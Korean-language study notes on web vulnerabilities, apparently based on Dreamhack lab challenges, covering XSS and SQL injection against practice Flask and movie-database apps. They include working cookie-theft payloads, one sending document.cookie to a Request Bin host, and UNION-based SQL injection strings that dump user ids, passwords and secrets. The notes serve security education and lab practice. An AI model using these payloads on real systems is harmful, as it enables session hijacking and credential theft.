
클라이언트 사이드 취약점은 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점이다
이용자를 식별하기 위한 세션 및 쿠키 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있다
클라이언트 사이드 취약점의 대표적인 공격인 Cross Site Scripting(XSS)
공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있게 한다
예를 들어 드림핵 웹 페이지에서 XSS 취약점이 존재하면 https://dreamhack.io 내에서 오리진 권한으로 악성 스크립트를 삽입 후 이용자가 악성 스크립트가 포함된 페이지를 방문하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션이 탈취될 수 있다
해당 취약점은 SOP 보안 정책 이 등장하면서 서로 다른 오리진에서는 정보를 읽는 행위가 이전에 비해 힘들어졌으나 이를 우회하는 다양한 기술이 소개되면서 XSS 공격은 지속되고 있다
*SOP (Same Origin Policy)

XSS 공격은 이용자가 삽입한 내용을 출력하는 기능에서 발생한다
클라이언트는 HTTP 형식으로 웹 서버에 리소스를 요청하고 서버로부터 받은 응답, 즉 HTML, CSS, JS 등의 웹 리소스를 시각화하여 이용자에게 보여준다
이떄 클라이언트가 변조된 페이지를 보거나 스크립트를 실행시킬 수 있다
XSS의 종류 ->

공격자는 자바스크립트를 통해 보여지는 페이지를 조작하거나 웹 브라우저의 위치를 임의의 주소로 변경할 수 있다.


서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS
예시) 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식
게시물은 불특정 다수에게 보여지기 때문에 해당 기능에서 XSS 취약점이 존재할 경우 높은 파급력을 가진다
서버가 악성 스크립트가 담긴 요청을 출력할 때 발생
예시) 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식
이용자가 게시물을 검색하면 서버에서는 검색 결과를 이용자에게 반환
일부 서비스에서는 검색 결과를 응답에 포함하는데, 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있다
Reflected XSS는 Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생한다
이용자가 검색을 하는 과정에서 검색창에 악의적인 코드를 삽입하고 그에 따라 반환되는 코드를 확인해 공격한다

vuln 페이지
이용자가 전달한 param 파라미터의 값을 출력한다
@app.route("/vuln")
def vuln():
param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
return param # 이용자의 입력값을 화면 상에 표시
memo 페이지
이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력한다
@app.route("/memo") # memo 페이지 라우팅
def memo(): # memo 함수 선언
global memo_text # 메모를 전역변수로 참조
text = request.args.get("memo", "") # 이용자가 전송한 memo 입력값을 가져옴
memo_text += text + "\n" # 이용자가 전송한 memo 입력값을 memo_text에 추가
return render_template("memo.html", memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력
flag 페이지
메소드에 따른 요청마다 다른 기능을 수행한다
GET
이용자에게 URL을 입력받는 페이지를 제공
POST
params 파라미터에 값과 쿠키에 FLAG를 포함해 check_xss 함수를 호출함
check_xss는 read_url 함수를 호출해 vuln 엔드포인트에 접속함
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력한다
memo는 render_template 함수를 사용해 memo.html을 출력한다
render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않음
그러나 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생함
@app.route("/vuln")
def vuln():
param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
return param # 이용자의 입력값을 화면 상에 표시
/vuln 엔드포인트에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취해야 함
탈취한 쿠키를 전달받기 위해서는 외부에서 접근 가능한 웹 서버를 사용하거나 문제에서 제공하는 memo 엔드포인트를 사용할 수 있다
공격에 사용할 수 있는 속성->

쿠키를 탈취할 수 있는 두 가지 방법
1) memo 페이지 사용
flag 엔드포인트에서 다음과 같은 익스플로잇 코드를 입력하면, memo 엔드포인트에서 임의 이용자의 쿠키 정보를 확인할 수 있다
<script>location.href = "/memo?memo=" + document.cookie;</script>
2) 웹 서버 사용
외부에서 접근 가능한 웹 서버를 통해 탈취한 쿠키를 확인할 수 있다
외부에서 접근 가능한 웹 서버가 없다면..
드림핵에서 제공하는 서비스를 사용할 수 있습니다. 해당 서비스에서 제공하는 Request Bin 기능은 이용자의 접속 기록을 저장하기 때문에 해당 정보를 확인할 수 있습니다. Request Bin 버튼을 클릭하면 랜덤한 URL이 생성되며, 해당 URL에 접속한 기록을 저장합니다.
flag 기능에서 다음과 같은 익스플로잇 코드를 입력하면, 아래와 같이 접속 기록에 포함된 FLAG를 확인할 수 있습니다.
<script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>

@app.route("/vuln")
def vuln():
return render_template("vuln.html")
get으로 사용자가 입력한 param을 바로 return 하는 형태가 아닌 render_template 함수를 사용하고 있다
render_template 함수는 Flask 웹 프레임워크에서 제공하는 함수로 Jinja2 템플릿 엔진을 사용하여 HTML 템플릿 파일을 렌더링함 주어진 템플릿 파일의 이름과 함께 전달된 변수나 값들을 템플릿에 적용하여 완성된 HTML을 생성
render_template 함수를 사용하면 전달된 템플릿 변수가 기록될 때 HTML 엔티티코드로 변환해 저장되기 때문에 XSS가 발생하지 않는다 = 이용자가 입력한 값을 페이지에 그대로 출력하지 않는다
-> XSS-2의 vuln 페이지에서는 param에 를 입력하더라도 XSS가 발생하지 않는다는 것을 확인할 수 있다
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
XSS-1과 동일
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
check_xss 함수에서 이용자가 flag에 POST로 전송한 param 값이 XSS 공격에 사용될 수 있는 값인지 아닌지를 확인
이때 check_xss에서는 이용자가 flag 페이지에 입력한 param을 포함하여 vuln 페이지에 접근하는 URL을 생성함
결과적으로 read_url 함수를 통해 vuln 페이지에 접근하는 URL과 사용자의 쿠키가 전달되는 것
XSS-1과 다르게 vuln 페이지에 존재하는 innerHTML 을 통해
innerHTML은 웹 개발에서 사용하는 DOM (Document Object Model)의 속성 중 하나 HTML 문서의 구조나 내용을 프로그래밍적으로 조작하고자 할 때 Javascript를 통해 DOM을 사용

innerHTML을 사용해 요소의 내부 HTML을 문자열로 읽거나 설정할 수 있다
이용자 입력을 바탕으로 innerHTML을 설정했을 때 XSS 공격에 취약할 수 있으므로 주의가 필요함
<script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
현재 페이지의 URL 쿼리 문자열에서 param 파라미터의 값을 추출하고 해당 값을 페이지 내의 vuln 이라는 ID를 가진 요소의 내부 HTML로 설정하는 코드
파라미터의 값을 통해 ‘쓰기’를 수행하는 것
vuln.html에 존재하는 위 코드는 innerHTML을 통해 사용자가 URL의 param 쿼리 파라미터를 조작하여 웹 페이지의 내용을 변경할 수 있게 한다는 점에서 취약점을 가짐
vuln.html에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취해야 함
img 태그를 사용하여 다음과 같은 익스플로잇 코드를 작성할 수 있음
<img src="XSS-2" onerror="location.href='/memo?memo='+document.cookie">
이 익스플로잇 코드를 /flag 페이지의 param 부분에 입력하면 memo에서 임의 이용자의 쿠키 정보를 확인할 수 있다
이때 /vuln 페이지의 param에 해당 익스플로잇 코드를 입력하면 이미지 로딩에 실패한 화면이 보여지는 것을 확인할 수 있다

사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리의 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점
쿼리: 데이터베이스에서 데이터를 검색하거나 조작하기 위해 사용하는 언어
테이블: 관계형 데이터베이스의 기본 요소
데이터베이스를 호출하는 취약한 변수 예를 들어 id= password=에 악의적인 쿼리를 삽입해 이에 대한 실행결과를 데이터베이스에서 받아온다
데이터베이스에서는 문자데이터를 작은 따옴표로 구분하기에 '을 입력해 SQL Injection 취약점이 존재하는지 확인할 수 있다 결과로 error가 뜨니 취약점이 존재한다고 확인할 수 있다
error에 해당 서버가 MySQL을 사용함을 알 수 있다
모든 영화 데이터를 출력하기 위해 항상 True인 SQL을 입력한다 이 때 주석은 #이다
' or 1=1# 입력
UNION based SQL injection을 이용해 칼럼의 수를 알아낸다
해당 페이지는 서버의 내용을 이미 출력해오고 있기에 또 다른 select문을 위해 UNION을 사용해야 한다
'union select all 1,2,3,4,5,6,7#
1부터 하나씩 추가해 칼럼의 수를 찾는다 7까지 입력하니 출력이 된다
칼럼의 수는 7개

데이터베이스에 존재하는 모든 테이블을 출력하려면 information_schema를 써야한다
0'union select all 1,table_name,3,4,5,6,7 from information_schema.tables#

출력된 테이블 중 유저의 정보가 있을 것 같은 테이블만 출력한다
0'union select all 1,table_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

유저의 id password email을 출력한다
0'union select all 1,id,password,email,secret,6,7 from users#

'or 1=1# 와 같이 항상 true가 되는 구문을 삽입해
칼럼이 7개이니
'union select all 1,@@version,3,4,5,6,7# 을 입력해 데이터베이스의 정보를 알아낸다(우분투 정보)
'union select all 1,table_name,3,4,5,6,7 from information_schema.tables#
로 모든 테이블명을 출력할 수 있다
'union select all 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#
로 사용자의 id, password, secret, login 정보를 출력할 수 있다
테이블에 나온 값을 해싱 사이트에 넣을 경우 비밀번호를 획득할 수 있다
버프스위트 관련 문제로 풀이만 작성합니다